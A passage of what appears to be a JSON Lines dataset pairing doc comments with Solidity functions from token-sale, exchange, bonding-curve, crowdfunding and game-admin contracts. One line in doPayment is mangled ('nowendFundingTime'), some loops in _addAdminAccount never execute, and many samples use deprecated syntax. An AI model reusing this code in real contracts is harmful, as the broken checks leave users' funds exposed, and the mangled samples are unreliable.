true;\n emit SendTokensToDestination(_id, swap.swapAddress, swap.amount);\n return _id;\n }", "version": "0.8.4"} {"comment": "//transfers various amounts to the holders of the stalemate cards", "function_code": "function _stalemateTransfer() private{\r\n uint payout=this.balance;\r\n //pay the pot to holders of the stalemate cards\r\n for(uint i=9;i<12;i++){\r\n require(msg.sender != indexToAddress[i]);\r\n if(indexToAddress[i]!=address(this)){\r\n uint proportion=(i-8)*15;\r\n indexToAddress[i].transfer(uint256(SafeMath.div(SafeMath.mul(payout, proportion), 100)));\r\n emit StalematePayout(indexToAddress[i], uint256(SafeMath.div(SafeMath.mul(payout, proportion), 100)));\r\n }\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. Use super to concatenate validations.\r\n * @param _beneficiary Address performing the token purchase\r\n * @param _weiAmount Value in wei involved in the purchase\r\n */", "function_code": "function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view {\r\n require(_beneficiary != address(0)); \r\n require(_weiAmount != 0);\r\n \r\n require(_weiAmount > minInvestment); // Revert if payment is less than 0.40 ETH\r\n require(whitelistedAddr[_beneficiary]); // Revert if investor is not whitelisted\r\n require(totalInvestment[_beneficiary].add(_weiAmount) <= investmentUpperBounds); // Revert if the investor already spent over 2k ETH investment or payment is greater than 2k ETH\r\n require(weiRaised.add(_weiAmount) <= hardcap); // Revert if ICO campaign reached Hard Cap\r\n }", "version": "0.4.23"} {"comment": "// collect any token send by mistake, collect target after 90 days", "function_code": "function collectDust(address _token) external {\n if (_token == address(0)) { // token address(0) = ETH\n payable(owner()).transfer(address(this).balance);\n } else {\n if (_token == token) {\n require(block.timestamp > deployedAt + 90 days, \"WETHDistributor: Not ready\");\n }\n uint256 balance = IERC20(_token).balanceOf(address(this));\n IERC20(_token).transfer(owner(), balance);\n }\n }", "version": "0.8.0"} {"comment": "// Transfer control ", "function_code": "function canTransfer(address sender, uint256 amount) public view returns (bool) {\r\n // Control is scheduled wallet\r\n if (!frozenWallets[sender].scheduled) {\r\n return true;\r\n }\r\n\r\n uint256 balance = balanceOf(sender);\r\n uint256 restAmount = getRestAmount(sender);\r\n\r\n if (balance > frozenWallets[sender].totalAmount && balance.sub(frozenWallets[sender].totalAmount) >= amount) {\r\n return true;\r\n }\r\n\r\n if (!isStarted(frozenWallets[sender].startDay) || balance.sub(amount) < restAmount) {\r\n return false;\r\n }\r\n\r\n return true;\r\n }", "version": "0.6.11"} {"comment": "/// Constructor function. This is only called on contract creation.", "function_code": "function SEEDDEX(address admin_, address manager_, address feeAccount_, uint feeTakeMaker_, uint feeTakeSender_, uint feeTakeMakerFic_, uint feeTakeSenderFic_, address predecessor_) public {\r\n admin = admin_;\r\n manager = manager_;\r\n feeAccount = feeAccount_;\r\n feeTakeMaker = feeTakeMaker_;\r\n feeTakeSender = feeTakeSender_;\r\n feeTakeMakerFic = feeTakeMakerFic_;\r\n feeTakeSenderFic = feeTakeSenderFic_;\r\n depositingTokenFlag = false;\r\n predecessor = predecessor_;\r\n\r\n if (predecessor != address(0)) {\r\n version = SEEDDEX(predecessor).version() + 1;\r\n } else {\r\n version = 1;\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * This function handles deposits of Ethereum based tokens to the contract.\r\n * Does not allow Ether.\r\n * If token transfer fails, transaction is reverted and remaining gas is refunded.\r\n * Emits a Deposit event.\r\n * Note: Remember to call IERC20(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.\r\n * @param token Ethereum contract address of the token or 0 for Ether\r\n * @param amount uint of the amount of the token the user wishes to deposit\r\n */", "function_code": "function depositToken(address token, uint amount) {\r\n //remember to call IERC20(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.\r\n if (token == 0) throw;\r\n if (!IERC20(token).transferFrom(msg.sender, this, amount)) throw;\r\n tokens[token][msg.sender] = SafeMath.add(tokens[token][msg.sender], amount);\r\n Deposit(token, msg.sender, amount, tokens[token][msg.sender]);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * This function provides a fallback solution as outlined in ERC223.\r\n * If tokens are deposited through depositToken(), the transaction will continue.\r\n * If tokens are sent directly to this contract, the transaction is reverted.\r\n * @param sender Ethereum address of the sender of the token\r\n * @param amount amount of the incoming tokens\r\n * @param data attached data similar to msg.data of Ether transactions\r\n */", "function_code": "function tokenFallback(address sender, uint amount, bytes data) public returns (bool ok) {\r\n if (depositingTokenFlag) {\r\n // Transfer was initiated from depositToken(). User token balance will be updated there.\r\n return true;\r\n } else {\r\n // Direct ECR223 Token.transfer into this contract not allowed, to keep it consistent\r\n // with direct transfers of ECR20 and ETH.\r\n revert();\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Stores the active order inside of the contract.\r\n * Emits an Order event.\r\n *\r\n *\r\n * Note: tokenGet & tokenGive can be the Ethereum contract address.\r\n * @param tokenGet Ethereum contract address of the token to receive\r\n * @param amountGet uint amount of tokens being received\r\n * @param tokenGive Ethereum contract address of the token to give\r\n * @param amountGive uint amount of tokens being given\r\n * @param expires uint of block number when this order should expire\r\n * @param nonce arbitrary random number\r\n */", "function_code": "function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) public {\r\n bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);\r\n uint amount;\r\n orders[msg.sender][hash] = true;\r\n Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, hash, amount);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Facilitates a trade from one user to another.\r\n * Requires that the transaction is signed properly, the trade isn't past its expiration, and all funds are present to fill the trade.\r\n * Calls tradeBalances().\r\n * Updates orderFills with the amount traded.\r\n * Emits a Trade event.\r\n * Note: tokenGet & tokenGive can be the Ethereum contract address.\r\n * Note: amount is in amountGet / tokenGet terms.\r\n * @param tokenGet Ethereum contract address of the token to receive\r\n * @param amountGet uint amount of tokens being received\r\n * @param tokenGive Ethereum contract address of the token to give\r\n * @param amountGive uint amount of tokens being given\r\n * @param expires uint of block number when this order should expire\r\n * @param nonce arbitrary random number\r\n * @param user Ethereum address of the user who placed the order\r\n * @param v part of signature for the order hash as signed by user\r\n * @param r part of signature for the order hash as signed by user\r\n * @param s part of signature for the order hash as signed by user\r\n * @param amount uint amount in terms of tokenGet that will be \"buy\" in the trade\r\n */", "function_code": "function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public {\r\n bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);\r\n require((\r\n (orders[user][hash] || ecrecover(keccak256(\"\\x19Ethereum Signed Message:\\n32\", hash), v, r, s) == user) &&\r\n block.number <= expires &&\r\n SafeMath.add(orderFills[user][hash], amount) <= amountGet\r\n ));\r\n tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);\r\n orderFills[user][hash] = SafeMath.add(orderFills[user][hash], amount);\r\n Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender, now);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * This is a private function and is only being called from trade().\r\n * Handles the movement of funds when a trade occurs.\r\n * Takes fees.\r\n * Updates token balances for both buyer and seller.\r\n * Note: tokenGet & tokenGive can be the Ethereum contract address.\r\n * Note: amount is in amountGet / tokenGet terms.\r\n * @param tokenGet Ethereum contract address of the token to receive\r\n * @param amountGet uint amount of tokens being received\r\n * @param tokenGive Ethereum contract address of the token to give\r\n * @param amountGive uint amount of tokens being given\r\n * @param user Ethereum address of the user who placed the order\r\n * @param amount uint amount in terms of tokenGet that will be \"buy\" in the trade\r\n */", "function_code": "function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {\r\n if (tokenGet == FicAddress || tokenGive == FicAddress) {\r\n tokens[tokenGet][msg.sender] = SafeMath.sub(tokens[tokenGet][msg.sender], amount);\r\n tokens[tokenGet][user] = SafeMath.add(tokens[tokenGet][user], SafeMath.mul(amount, ((1 ether) - feeTakeMakerFic)) / (1 ether));\r\n tokens[tokenGet][feeAccount] = SafeMath.add(tokens[tokenGet][feeAccount], SafeMath.mul(amount, feeTakeMakerFic) / (1 ether));\r\n tokens[tokenGive][user] = SafeMath.sub(tokens[tokenGive][user], SafeMath.mul(amountGive, amount) / amountGet);\r\n tokens[tokenGive][msg.sender] = SafeMath.add(tokens[tokenGive][msg.sender], SafeMath.mul(SafeMath.mul(((1 ether) - feeTakeSenderFic), amountGive), amount) / amountGet / (1 ether));\r\n tokens[tokenGive][feeAccount] = SafeMath.add(tokens[tokenGive][feeAccount], SafeMath.mul(SafeMath.mul(feeTakeSenderFic, amountGive), amount) / amountGet / (1 ether));\r\n }\r\n else {\r\n tokens[tokenGet][msg.sender] = SafeMath.sub(tokens[tokenGet][msg.sender], amount);\r\n tokens[tokenGet][user] = SafeMath.add(tokens[tokenGet][user], SafeMath.mul(amount, ((1 ether) - feeTakeMaker)) / (1 ether));\r\n tokens[tokenGet][feeAccount] = SafeMath.add(tokens[tokenGet][feeAccount], SafeMath.mul(amount, feeTakeMaker) / (1 ether));\r\n tokens[tokenGive][user] = SafeMath.sub(tokens[tokenGive][user], SafeMath.mul(amountGive, amount) / amountGet);\r\n tokens[tokenGive][msg.sender] = SafeMath.add(tokens[tokenGive][msg.sender], SafeMath.mul(SafeMath.mul(((1 ether) - feeTakeSender), amountGive), amount) / amountGet / (1 ether));\r\n tokens[tokenGive][feeAccount] = SafeMath.add(tokens[tokenGive][feeAccount], SafeMath.mul(SafeMath.mul(feeTakeSender, amountGive), amount) / amountGet / (1 ether));\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * This function is to test if a trade would go through.\r\n * Note: tokenGet & tokenGive can be the Ethereum contract address.\r\n * Note: amount is in amountGet / tokenGet terms.\r\n * @param tokenGet Ethereum contract address of the token to receive\r\n * @param amountGet uint amount of tokens being received\r\n * @param tokenGive Ethereum contract address of the token to give\r\n * @param amountGive uint amount of tokens being given\r\n * @param expires uint of block number when this order should expire\r\n * @param nonce arbitrary random number\r\n * @param user Ethereum address of the user who placed the order\r\n * @param v part of signature for the order hash as signed by user\r\n * @param r part of signature for the order hash as signed by user\r\n * @param s part of signature for the order hash as signed by user\r\n * @param amount uint amount in terms of tokenGet that will be \"buy\" in the trade\r\n * @param sender Ethereum address of the user taking the order\r\n * @return bool: true if the trade would be successful, false otherwise\r\n */", "function_code": "function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) public constant returns (bool) {\r\n if (!(\r\n tokens[tokenGet][sender] >= amount &&\r\n availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount\r\n )) {\r\n return false;\r\n } else {\r\n return true;\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * This function checks the available volume for a given order.\r\n * Note: tokenGet & tokenGive can be the Ethereum contract address.\r\n * @param tokenGet Ethereum contract address of the token to receive\r\n * @param amountGet uint amount of tokens being received\r\n * @param tokenGive Ethereum contract address of the token to give\r\n * @param amountGive uint amount of tokens being given\r\n * @param expires uint of block number when this order should expire\r\n * @param nonce arbitrary random number\r\n * @param user Ethereum address of the user who placed the order\r\n * @param v part of signature for the order hash as signed by user\r\n * @param r part of signature for the order hash as signed by user\r\n * @param s part of signature for the order hash as signed by user\r\n * @return uint: amount of volume available for the given order in terms of amountGet / tokenGet\r\n */", "function_code": "function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public constant returns (uint) {\r\n bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);\r\n if (!(\r\n (orders[user][hash] || ecrecover(keccak256(\"\\x19Ethereum Signed Message:\\n32\", hash), v, r, s) == user) &&\r\n block.number <= expires\r\n )) {\r\n return 0;\r\n }\r\n uint[2] memory available;\r\n available[0] = SafeMath.sub(amountGet, orderFills[user][hash]);\r\n available[1] = SafeMath.mul(tokens[tokenGive][user], amountGet) / amountGive;\r\n if (available[0] < available[1]) {\r\n return available[0];\r\n } else {\r\n return available[1];\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * This function checks the amount of an order that has already been filled.\r\n * Note: tokenGet & tokenGive can be the Ethereum contract address.\r\n * @param tokenGet Ethereum contract address of the token to receive\r\n * @param amountGet uint amount of tokens being received\r\n * @param tokenGive Ethereum contract address of the token to give\r\n * @param amountGive uint amount of tokens being given\r\n * @param expires uint of block number when this order should expire\r\n * @param nonce arbitrary random number\r\n * @param user Ethereum address of the user who placed the order\r\n * @param v part of signature for the order hash as signed by user\r\n * @param r part of signature for the order hash as signed by user\r\n * @param s part of signature for the order hash as signed by user\r\n * @return uint: amount of the given order that has already been filled in terms of amountGet / tokenGet\r\n */", "function_code": "function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public constant returns (uint) {\r\n bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);\r\n return orderFills[user][hash];\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * This function cancels a given order by editing its fill data to the full amount.\r\n * Requires that the transaction is signed properly.\r\n * Updates orderFills to the full amountGet\r\n * Emits a Cancel event.\r\n * Note: tokenGet & tokenGive can be the Ethereum contract address.\r\n * @param tokenGet Ethereum contract address of the token to receive\r\n * @param amountGet uint amount of tokens being received\r\n * @param tokenGive Ethereum contract address of the token to give\r\n * @param amountGive uint amount of tokens being given\r\n * @param expires uint of block number when this order should expire\r\n * @param nonce arbitrary random number\r\n * @param v part of signature for the order hash as signed by user\r\n * @param r part of signature for the order hash as signed by user\r\n * @param s part of signature for the order hash as signed by user\r\n * @return uint: amount of the given order that has already been filled in terms of amountGet / tokenGet\r\n */", "function_code": "function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) public {\r\n bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);\r\n require((orders[msg.sender][hash] || ecrecover(keccak256(\"\\x19Ethereum Signed Message:\\n32\", hash), v, r, s) == msg.sender));\r\n orderFills[msg.sender][hash] = amountGet;\r\n Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * User triggered function to migrate funds into a new contract to ease updates.\r\n * Emits a FundsMigrated event.\r\n * @param newContract Contract address of the new contract we are migrating funds to\r\n * @param tokens_ Array of token addresses that we will be migrating to the new contract\r\n */", "function_code": "function migrateFunds(address newContract, address[] tokens_) public {\r\n\r\n require(newContract != address(0));\r\n\r\n SEEDDEX newExchange = SEEDDEX(newContract);\r\n\r\n // Move Ether into new exchange.\r\n uint etherAmount = tokens[0][msg.sender];\r\n if (etherAmount > 0) {\r\n tokens[0][msg.sender] = 0;\r\n newExchange.depositForUser.value(etherAmount)(msg.sender);\r\n }\r\n\r\n // Move Tokens into new exchange.\r\n for (uint16 n = 0; n < tokens_.length; n++) {\r\n address token = tokens_[n];\r\n require(token != address(0));\r\n // Ether is handled above.\r\n uint tokenAmount = tokens[token][msg.sender];\r\n\r\n if (tokenAmount != 0) {\r\n if (!IERC20(token).approve(newExchange, tokenAmount)) throw;\r\n tokens[token][msg.sender] = 0;\r\n newExchange.depositTokenForUser(token, tokenAmount, msg.sender);\r\n }\r\n }\r\n\r\n FundsMigrated(msg.sender, newContract);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * This function handles deposits of Ethereum based tokens into the contract, but allows specification of a user.\r\n * Does not allow Ether.\r\n * If token transfer fails, transaction is reverted and remaining gas is refunded.\r\n * Note: This is generally used in migration of funds.\r\n * Note: Remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.\r\n * @param token Ethereum contract address of the token\r\n * @param amount uint of the amount of the token the user wishes to deposit\r\n */", "function_code": "function depositTokenForUser(address token, uint amount, address user) public {\r\n require(token != address(0));\r\n require(user != address(0));\r\n require(amount > 0);\r\n depositingTokenFlag = true;\r\n if (!IERC20(token).transferFrom(msg.sender, this, amount)) throw;\r\n depositingTokenFlag = false;\r\n tokens[token][user] = SafeMath.add(tokens[token][user], (amount));\r\n }", "version": "0.4.25"} {"comment": "/**\n * @dev Main sale function. Mints Pizzas\n */", "function_code": "function mintNFT(uint256 numberOfPizzas) public payable {\n require(hasSaleStarted, \"sale hasn't started\");\n require(\n supremePizzas.totalSupply().add(numberOfPizzas) <= MAX_SUPPLY,\n \"Exceeds MAX_SUPPLY\"\n );\n require(\n price.mul(numberOfPizzas) == msg.value,\n \"Ether value sent is not correct\"\n );\n\n for (uint256 i; i < numberOfPizzas; i++) {\n supremePizzas.mint(msg.sender);\n }\n }", "version": "0.7.3"} {"comment": "/**\r\n @dev Returns the smallest integer larger than or equal to _x.\r\n @param _x number _x\r\n @return ret value ret\r\n */", "function_code": "function ceil(uint _x)public pure returns(uint ret){\r\n\t\tret = (_x / 1 ether) * 1 ether;\r\n\t\tif((_x % 1 ether) == 0){\r\n\t\t\treturn ret;\r\n\t\t}else{\r\n\t\t\treturn ret + 1 ether;\r\n\t\t}\r\n\t}", "version": "0.6.7"} {"comment": "/**\r\n @dev removes tokens from an account and decreases the token supply\r\n can be called by the contract creator to destroy tokens from any account or by any holder to destroy tokens from his/her own account\r\n \r\n @param _from account to remove the amount from\r\n @param _amount amount to decrease the supply by\r\n */", "function_code": "function destroy(address _from, uint256 _amount) virtual override internal {\r\n //require(msg.sender == _from || msg.sender == creator); // validate input\r\n\r\n m_balanceOf[_from] = safeSub(m_balanceOf[_from], _amount);\r\n m_totalSupply = safeSub(m_totalSupply, _amount);\r\n\r\n emit Transfer(_from, address(0), _amount);\r\n emit Destruction(_amount);\r\n }", "version": "0.6.7"} {"comment": "/**\r\n @dev given a token supply, connector balance, weight and a deposit amount (in the connector token),\r\n calculates the return for a given conversion (in the main token)\r\n \r\n Formula:\r\n Return = _supply * ((1 + _depositAmount / _connectorBalance) ^ (_connectorWeight / 1000000) - 1)\r\n \r\n @param _supply token total supply\r\n @param _connectorBalance total connector balance\r\n @param _connectorWeight connector weight, represented in ppm, 1-1000000\r\n @param _depositAmount deposit amount, in connector token\r\n \r\n @return purchase return amount\r\n */", "function_code": "function calculatePurchaseReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _depositAmount) public view returns (uint256) {\r\n // validate input\r\n require(_supply > 0 && _connectorBalance > 0 && _connectorWeight > 0 && _connectorWeight <= MAX_WEIGHT);\r\n\r\n // special case for 0 deposit amount\r\n if (_depositAmount == 0)\r\n return 0;\r\n\r\n // special case if the weight = 100%\r\n if (_connectorWeight == MAX_WEIGHT)\r\n return safeMul(_supply, _depositAmount) / _connectorBalance;\r\n\r\n uint256 result;\r\n uint8 precision;\r\n uint256 baseN = safeAdd(_depositAmount, _connectorBalance);\r\n (result, precision) = power(baseN, _connectorBalance, _connectorWeight, MAX_WEIGHT);\r\n uint256 temp = safeMul(_supply, result) >> precision;\r\n return temp - _supply;\r\n }", "version": "0.6.7"} {"comment": "/**\r\n @dev given a token supply, connector balance, weight and a sell amount (in the main token),\r\n calculates the return for a given conversion (in the connector token)\r\n \r\n Formula:\r\n Return = _connectorBalance * (1 - (1 - _sellAmount / _supply) ^ (1 / (_connectorWeight / 1000000)))\r\n \r\n @param _supply token total supply\r\n @param _connectorBalance total connector\r\n @param _connectorWeight constant connector Weight, represented in ppm, 1-1000000\r\n @param _sellAmount sell amount, in the token itself\r\n \r\n @return sale return amount\r\n */", "function_code": "function calculateRedeemReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _sellAmount) public view returns (uint256) {\r\n // validate input\r\n require(_supply > 0 && _connectorBalance > 0 && _connectorWeight > 0 && _connectorWeight <= MAX_WEIGHT && _sellAmount <= _supply);\r\n\r\n // special case for 0 sell amount\r\n if (_sellAmount == 0)\r\n return 0;\r\n\r\n // special case for selling the entire supply\r\n if (_sellAmount == _supply)\r\n return _connectorBalance;\r\n\r\n // special case if the weight = 100%\r\n if (_connectorWeight == MAX_WEIGHT)\r\n return safeMul(_connectorBalance, _sellAmount) / _supply;\r\n\r\n uint256 result;\r\n uint8 precision;\r\n uint256 baseD = _supply - _sellAmount;\r\n (result, precision) = power(_supply, baseD, MAX_WEIGHT, _connectorWeight);\r\n uint256 temp1 = safeMul(_connectorBalance, result);\r\n uint256 temp2 = _connectorBalance << precision;\r\n return (temp1 - temp2) / result;\r\n }", "version": "0.6.7"} {"comment": "// support _baseN < _baseD", "function_code": "function power2(uint256 _baseN, uint256 _baseD, uint32 _expN, uint32 _expD) public view returns (uint256, uint8) {\r\n if(_baseN >= _baseD)\r\n return power(_baseN, _baseD, _expN, _expD);\r\n uint256 lnBaseTimesExp = ln(_baseD, _baseN) * _expN / _expD;\r\n uint8 precision = findPositionInMaxExpArray(lnBaseTimesExp);\r\n if(precision < MIN_PRECISION)\r\n return (0, 0);\r\n uint256 base = fixedExp(lnBaseTimesExp >> (MAX_PRECISION - precision), precision);\r\n base = (uint256(1) << (MIN_PRECISION + MAX_PRECISION)) / base;\r\n precision = MIN_PRECISION + MAX_PRECISION - precision;\r\n return (base, precision);\r\n }", "version": "0.6.7"} {"comment": "/**\r\n Return floor(ln(numerator / denominator) * 2 ^ MAX_PRECISION), where:\r\n - The numerator is a value between 1 and 2 ^ (256 - MAX_PRECISION) - 1\r\n - The denominator is a value between 1 and 2 ^ (256 - MAX_PRECISION) - 1\r\n - The output is a value between 0 and floor(ln(2 ^ (256 - MAX_PRECISION) - 1) * 2 ^ MAX_PRECISION)\r\n This functions assumes that the numerator is larger than or equal to the denominator, because the output would be negative otherwise.\r\n */", "function_code": "function ln(uint256 _numerator, uint256 _denominator) public pure returns (uint256) {\r\n assert(_numerator <= MAX_NUM);\r\n\r\n uint256 res = 0;\r\n uint256 x = _numerator * FIXED_1 / _denominator;\r\n\r\n // If x >= 2, then we compute the integer part of log2(x), which is larger than 0.\r\n if (x >= FIXED_2) {\r\n uint8 count = floorLog2(x / FIXED_1);\r\n x >>= count; // now x < 2\r\n res = count * FIXED_1;\r\n }\r\n\r\n // If x > 1, then we compute the fraction part of log2(x), which is larger than 0.\r\n if (x > FIXED_1) {\r\n for (uint8 i = MAX_PRECISION; i > 0; --i) {\r\n x = (x * x) / FIXED_1; // now 1 < x < 4\r\n if (x >= FIXED_2) {\r\n x >>= 1; // now 1 < x < 2\r\n res += ONE << (i - 1);\r\n }\r\n }\r\n }\r\n\r\n return res * LN2_NUMERATOR / LN2_DENOMINATOR;\r\n }", "version": "0.6.7"} {"comment": "//An arbitrary versioning scheme.", "function_code": "function HumanStandardToken(\r\n uint256 _initialAmount,\r\n string _tokenName,\r\n uint8 _decimalUnits,\r\n string _tokenSymbol\r\n ) {\r\n balances[msg.sender] = _initialAmount; // Give the creator all initial tokens\r\n totalSupply = _initialAmount; // Update total supply\r\n name = _tokenName; // Set the name for display purposes\r\n decimals = _decimalUnits; // Amount of decimals for display purposes\r\n symbol = _tokenSymbol; // Set the symbol for display purposes\r\n }", "version": "0.4.4"} {"comment": "/// @notice `createTokens()` will create tokens if the campaign has not been\n/// sealed.\n/// @dev `createTokens()` is called by the campaign contract when\n/// someone sends ether to that contract or calls `doPayment()`\n/// @param beneficiary The address receiving the tokens\n/// @param amount The amount of tokens the address is receiving\n/// @return True if tokens are created", "function_code": "function createTokens(address beneficiary, uint amount\r\n ) onlyController returns (bool success) {\r\n if (sealed()) throw;\r\n balances[beneficiary] += amount; // Create tokens for the beneficiary\r\n totalSupply += amount; // Update total supply\r\n Transfer(0, beneficiary, amount); // Create an Event for the creation\r\n return true;\r\n }", "version": "0.4.4"} {"comment": "/// @notice 'Campaign()' initiates the Campaign by setting its funding\n/// parameters and creating the deploying the token contract\n/// @dev There are several checks to make sure the parameters are acceptable\n/// @param _startFundingTime The UNIX time that the Campaign will be able to\n/// start receiving funds\n/// @param _endFundingTime The UNIX time that the Campaign will stop being able\n/// to receive funds\n/// @param _maximumFunding In wei, the Maximum amount that the Campaign can\n/// receive (currently the max is set at 10,000 ETH for the beta)\n/// @param _vaultContract The address that will store the donated funds", "function_code": "function Campaign(\r\n uint _startFundingTime,\r\n uint _endFundingTime,\r\n uint _maximumFunding,\r\n address _vaultContract\r\n ) {\r\n if ((_endFundingTime < now) || // Cannot start in the past\r\n (_endFundingTime <= _startFundingTime) ||\r\n (_maximumFunding > 10000 ether) || // The Beta is limited\r\n (_vaultContract == 0)) // To prevent burning ETH\r\n {\r\n throw;\r\n }\r\n startFundingTime = _startFundingTime;\r\n endFundingTime = _endFundingTime;\r\n maximumFunding = _maximumFunding;\r\n tokenContract = new CampaignToken (); // Deploys the Token Contract\r\n vaultContract = _vaultContract;\r\n }", "version": "0.4.4"} {"comment": "/// @dev `doPayment()` is an internal function that sends the ether that this\n/// contract receives to the `vaultContract` and creates campaignTokens in the\n/// address of the `_owner` assuming the Campaign is still accepting funds\n/// @param _owner The address that will hold the newly created CampaignTokens", "function_code": "function doPayment(address _owner) internal {\r\n\r\n// First we check that the Campaign is allowed to receive this donation\r\n if ((nowendFundingTime) ||\r\n (tokenContract.tokenController() == 0) || // Extra check\r\n (msg.value == 0) ||\r\n (totalCollected + msg.value > maximumFunding))\r\n {\r\n throw;\r\n }\r\n\r\n//Track how much the Campaign has collected\r\n totalCollected += msg.value;\r\n\r\n//Send the ether to the vaultContract\r\n if (!vaultContract.send(msg.value)) {\r\n throw;\r\n }\r\n\r\n// Creates an equal amount of CampaignTokens as ether sent. The new CampaignTokens\r\n// are created in the `_owner` address\r\n if (!tokenContract.createTokens(_owner, msg.value)) {\r\n throw;\r\n }\r\n\r\n return;\r\n }", "version": "0.4.4"} {"comment": "// @dev Removes an address from an admin for a game\n// @notice Can only be called by an admin of the game.\n// @notice Can't remove your own account's admin privileges.\n// @param _game - the gameId of the game\n// @param _account - the address of the user to remove admin privileges.", "function_code": "function removeAdminAccount(uint _game, address _account)\r\n external\r\n onlyGameAdmin(_game)\r\n {\r\n require(_account != msg.sender);\r\n require(gameAdmins[_game][_account]);\r\n \r\n address[] storage opsAddresses = adminAddressesByGameId[_game];\r\n uint startingLength = opsAddresses.length;\r\n // Yes, \"i < startingLength\" is right. 0 - 1 == uint.maxvalue, not -1.\r\n for (uint i = opsAddresses.length - 1; i < startingLength; i--) {\r\n if (opsAddresses[i] == _account) {\r\n uint newLength = opsAddresses.length.sub(1);\r\n opsAddresses[i] = opsAddresses[newLength];\r\n delete opsAddresses[newLength];\r\n opsAddresses.length = newLength;\r\n }\r\n }\r\n\r\n uint[] storage gamesByAdmin = gameIdsByAdminAddress[_account];\r\n startingLength = gamesByAdmin.length;\r\n for (i = gamesByAdmin.length - 1; i < startingLength; i--) {\r\n if (gamesByAdmin[i] == _game) {\r\n newLength = gamesByAdmin.length.sub(1);\r\n gamesByAdmin[i] = gamesByAdmin[newLength];\r\n delete gamesByAdmin[newLength];\r\n gamesByAdmin.length = newLength;\r\n }\r\n }\r\n\r\n gameAdmins[_game][_account] = false;\r\n emit AdminPrivilegesChanged(_game, _account, false);\r\n }", "version": "0.4.25"} {"comment": "// @dev Internal function to add an address as an admin for a game\n// @param _game - the gameId of the game\n// @param _account - the address of the user", "function_code": "function _addAdminAccount(uint _game, address _account)\r\n internal\r\n {\r\n address[] storage opsAddresses = adminAddressesByGameId[_game];\r\n require(opsAddresses.length < 256, \"a game can only have 256 admins\");\r\n for (uint i = opsAddresses.length; i < opsAddresses.length; i--) {\r\n require(opsAddresses[i] != _account);\r\n }\r\n\r\n uint[] storage gamesByAdmin = gameIdsByAdminAddress[_account];\r\n require(gamesByAdmin.length < 256, \"you can only own 256 games\");\r\n for (i = gamesByAdmin.length; i < gamesByAdmin.length; i--) {\r\n require(gamesByAdmin[i] != _game, \"you can't become an operator twice\");\r\n }\r\n gamesByAdmin.push(_game);\r\n\r\n opsAddresses.push(_account);\r\n gameAdmins[_game][_account] = true;\r\n emit AdminPrivilegesChanged(_game, _account, true);\r\n }", "version": "0.4.25"} {"comment": "// @dev Create a new game by setting its data. \n// Created games are initially owned and managed by the game's creator\n// @notice - there's a maximum of 2^32 games (4.29 billion games)\n// @param _json - a json encoded string containing the game's name, uri, logo, description, etc\n// @param _tradeLockSeconds - the number of seconds a card remains locked to a purchaser's account\n// @param _metadata - game-specific metadata, in bytes32 format. ", "function_code": "function createGame(string _json, uint _tradeLockSeconds, bytes32[] _metadata) \r\n external\r\n returns(uint _game) {\r\n // Create the game\r\n _game = games.length;\r\n require(_game < games[0], \"too many games created\");\r\n games.push(_game);\r\n\r\n // Log the game as created\r\n emit GameCreated(_game, msg.sender, _json, _metadata);\r\n\r\n // Add the creator as the first game admin\r\n _addAdminAccount(_game, msg.sender);\r\n\r\n // Store the game's metadata\r\n updateGameMetadata(_game, _json, _tradeLockSeconds, _metadata);\r\n }", "version": "0.4.25"} {"comment": "// @dev Get all game data for one given game\n// @param _game - the # of the game\n// @returns game - the game ID of the requested game\n// @returns json - the json data of the game\n// @returns tradeLockSeconds - the number of card sets\n// @returns balance - the Nova Token balance \n// @returns metadata - a bytes32 array of metadata used by the game", "function_code": "function getGameData(uint _game)\r\n external\r\n view\r\n returns(uint game,\r\n string json,\r\n uint tradeLockSeconds,\r\n uint256 balance,\r\n bytes32[] metadata) \r\n {\r\n GameData storage data = gameData[_game];\r\n game = _game;\r\n json = data.json;\r\n tradeLockSeconds = 